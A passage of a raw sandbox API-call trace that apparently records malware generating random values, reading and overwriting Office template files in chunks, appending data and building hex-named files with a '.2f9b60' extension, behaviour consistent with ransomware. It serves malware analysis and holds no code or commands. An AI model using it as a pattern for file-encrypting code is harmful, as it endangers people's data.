out: Seed=0x3ffbf630) returned 0x38c370e8 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x6654a82b [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x1c20f93d [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x79ead165 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x50689427 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x25b16c22 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x61edd9a8 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x71077d93 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x1d46b1e6 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x4aaf110f [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x494bd17b [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x1c63173 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x4973b47f [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x3ccd32b6 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x606e2d8e [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x4efb4151 [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x3417acb5 [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x5a9c7d56 [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x1ea9dca2 [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x6c9dccac [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x6d75a6ae [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x174f2853 [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x1875b12c [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x34a2493b [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x4c96d996 [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x332c192f [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x2c17bdc1 [0145.529] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x1bc30d09 [0145.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7010 [0145.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0145.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c20 [0145.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6fb0) returned 1 [0145.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6740) returned 1 [0145.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422a3100 [0145.540] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.540] ReadFile (in: hFile=0x14fc, lpBuffer=0x422a3100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ffbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x422a3100*, lpNumberOfBytesRead=0x3ffbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0145.546] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0145.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0145.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6fb0 [0145.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6fb0) returned 1 [0145.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a8130 [0145.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6fb0 [0145.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c50 [0145.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c50) returned 1 [0145.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0145.548] WriteFile (in: hFile=0x14fc, lpBuffer=0x203a8130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ffbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x203a8130*, lpNumberOfBytesWritten=0x3ffbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0170.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a8130) returned 1 [0170.744] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.744] ReadFile (in: hFile=0x14fc, lpBuffer=0x422a3100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ffbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x422a3100*, lpNumberOfBytesRead=0x3ffbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0170.757] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0170.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0170.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ca10 [0170.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ca10) returned 1 [0170.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203bad80 [0170.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ca10 [0170.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ca40 [0170.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ca40) returned 1 [0170.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0170.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0170.793] WriteFile (in: hFile=0x14fc, lpBuffer=0x203bad80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ffbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x203bad80*, lpNumberOfBytesWritten=0x3ffbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0185.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203bad80) returned 1 [0185.837] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x13a97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.837] ReadFile (in: hFile=0x14fc, lpBuffer=0x422a3100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ffbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x422a3100*, lpNumberOfBytesRead=0x3ffbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0186.791] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x13a97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0186.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0186.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8598e0 [0186.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8598e0) returned 1 [0186.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42541150 [0186.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8598e0 [0186.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859700 [0186.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859700) returned 1 [0186.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0186.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0186.806] WriteFile (in: hFile=0x14fc, lpBuffer=0x42541150*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ffbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x42541150*, lpNumberOfBytesWritten=0x3ffbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42541150) returned 1 [0205.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0240 [0205.411] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.411] WriteFile (in: hFile=0x14fc, lpBuffer=0x134d60*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x3ffbf750, lpOverlapped=0x0 | out: lpBuffer=0x134d60*, lpNumberOfBytesWritten=0x3ffbf750*=0x14c, lpOverlapped=0x0) returned 1 [0215.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0215.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbbe0 [0215.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2900 [0215.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2900) returned 1 [0215.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a2900 [0215.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a28d0 [0215.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2870 [0215.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2870) returned 1 [0215.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0215.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0215.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1ce5e2f0 [0215.879] sprintf (in: _Dest=0x1ce5e2f0, _Format="%c%c" | out: _Dest="4a") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e2f2, _Format="%c%c" | out: _Dest="c0") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e2f4, _Format="%c%c" | out: _Dest="ed") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e2f6, _Format="%c%c" | out: _Dest="fb") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e2f8, _Format="%c%c" | out: _Dest="ca") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e2fa, _Format="%c%c" | out: _Dest="25") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e2fc, _Format="%c%c" | out: _Dest="ea") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e2fe, _Format="%c%c" | out: _Dest="7f") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e300, _Format="%c%c" | out: _Dest="5e") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e302, _Format="%c%c" | out: _Dest="54") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e304, _Format="%c%c" | out: _Dest="4f") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e306, _Format="%c%c" | out: _Dest="2d") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e308, _Format="%c%c" | out: _Dest="6a") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e30a, _Format="%c%c" | out: _Dest="1d") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e30c, _Format="%c%c" | out: _Dest="9b") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e30e, _Format="%c%c" | out: _Dest="88") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e310, _Format="%c%c" | out: _Dest="e9") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e312, _Format="%c%c" | out: _Dest="f0") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e314, _Format="%c%c" | out: _Dest="1a") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e316, _Format="%c%c" | out: _Dest="16") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e318, _Format="%c%c" | out: _Dest="ba") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e31a, _Format="%c%c" | out: _Dest="db") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e31c, _Format="%c%c" | out: _Dest="9d") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e31e, _Format="%c%c" | out: _Dest="5d") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e320, _Format="%c%c" | out: _Dest="ca") returned 2 [0215.879] sprintf (in: _Dest=0x1ce5e322, _Format="%c%c" | out: _Dest="95") returned 2 [0215.879] RtlInitAnsiString (in: DestinationString=0x3ffbf7c8, SourceString="4ac0edfbca25ea7f5e544f2d6a1d9b88e9f01a16badb9d5dca95" | out: DestinationString="4ac0edfbca25ea7f5e544f2d6a1d9b88e9f01a16badb9d5dca95") [0215.879] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ffbf798, SourceString="4ac0edfbca25ea7f5e544f2d6a1d9b88e9f01a16badb9d5dca95", AllocateDestinationString=1 | out: DestinationString="4ac0edfbca25ea7f5e544f2d6a1d9b88e9f01a16badb9d5dca95") returned 0x0 [0215.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cebbb60 [0215.880] wcscat (in: _Dest=0x4318a9a0, _Source="4ac0edfbca25e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4ac0edfbca25e") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4ac0edfbca25e" [0215.880] wcscat (in: _Dest=0x4318a9a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4ac0edfbca25e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4ac0edfbca25e.2f9b60" [0215.880] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4ac0edfbca25e.2f9b60", NtPathName=0x3ffbf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\4ac0edfbca25e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4312aba0 Thread: id = 2293 os_tid = 0x1c34 [0145.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx")) returned 0x20 [0145.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX", dwFileAttributes=0x20) returned 1 [0145.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f40 [0145.583] GetFileSizeEx (in: hFile=0x1f40, lpFileSize=0x3e9ffa80 | out: lpFileSize=0x3e9ffa80*=15170) returned 1 [0145.583] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x3b3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.583] ReadFile (in: hFile=0x1f40, lpBuffer=0x3e9ffa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e9ffa48, lpOverlapped=0x0 | out: lpBuffer=0x3e9ffa00*, lpNumberOfBytesRead=0x3e9ffa48*=0x4, lpOverlapped=0x0) returned 1 [0145.590] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0145.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7970 [0145.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6890 [0145.591] NtQuerySystemTime (in: CurrentTime=0x3e9ff940 | out: CurrentTime=0x3e9ff940*=132462177508282000) returned 0x0 [0145.591] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x75feaf47 [0145.591] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x4e0c2caf [0145.591] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x64ddf995 [0145.591] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x26071da2 [0145.591] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x1520f657 [0145.591] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x324db6b [0145.591] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x4b9faf16 [0145.591] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x2c17bdc1 [0145.591] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x7d0702e7 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x6eba7d22 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x2e0ea5b9 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x1eff8e22 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x308eaa37 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x1ea9dca2 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x3db7ca4d [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x6df69993 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x25dc44e2 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x69ec73af [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x33dadf38 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x4de9fa6f [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x4de9fa6f [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x76707571 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x1e958167 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x76707571 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x2227dc75 [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x15f807df [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x20ff2fab [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x53f320be [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x568327da [0145.592] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x7ded6085 [0145.593] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x2406641c [0145.593] RtlRandomEx (in: Seed=0x3e9ff930 | out: Seed=0x3e9ff930) returned 0x32bcc025 [0145.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c50 [0145.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0145.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63b0 [0145.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6890) returned 1 [0145.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a60) returned 1 [0145.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0145.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0145.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a60) returned 1 [0145.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b2140 [0145.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422a6d10 [0145.607] ReadFile (in: hFile=0x1f40, lpBuffer=0x422b2140, nNumberOfBytesToRead=0x3b42, lpNumberOfBytesRead=0x3e9ff930, lpOverlapped=0x0 | out: lpBuffer=0x422b2140*, lpNumberOfBytesRead=0x3e9ff930*=0x3b42, lpOverlapped=0x0) returned 1 [0145.612] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.613] WriteFile (in: hFile=0x1f40, lpBuffer=0x422a6d10*, nNumberOfBytesToWrite=0x3b42, lpNumberOfBytesWritten=0x3e9ff934, lpOverlapped=0x0 | out: lpBuffer=0x422a6d10*, lpNumberOfBytesWritten=0x3e9ff934*=0x3b42, lpOverlapped=0x0) returned 1 [0145.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0145.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7040 [0145.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7040) returned 1 [0145.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422a6d10) returned 1 [0145.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b2140) returned 1 [0145.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a7040 [0145.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0145.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0145.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0145.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20260350 [0145.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0145.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0145.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0145.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x166f20 [0145.633] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0145.633] WriteFile (in: hFile=0x1f40, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3e9ffa50, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3e9ffa50*=0x10c, lpOverlapped=0x0) returned 1 [0145.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0145.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0145.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0145.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20263ef0 [0145.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263800 [0145.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0145.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0145.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f5b0 [0145.639] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="c3") returned 2 [0145.639] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="fb") returned 2 [0145.639] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="d1") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="f5") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="ed") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="d0") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="bb") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="6d") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="3d") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="a4") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="99") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5c6, 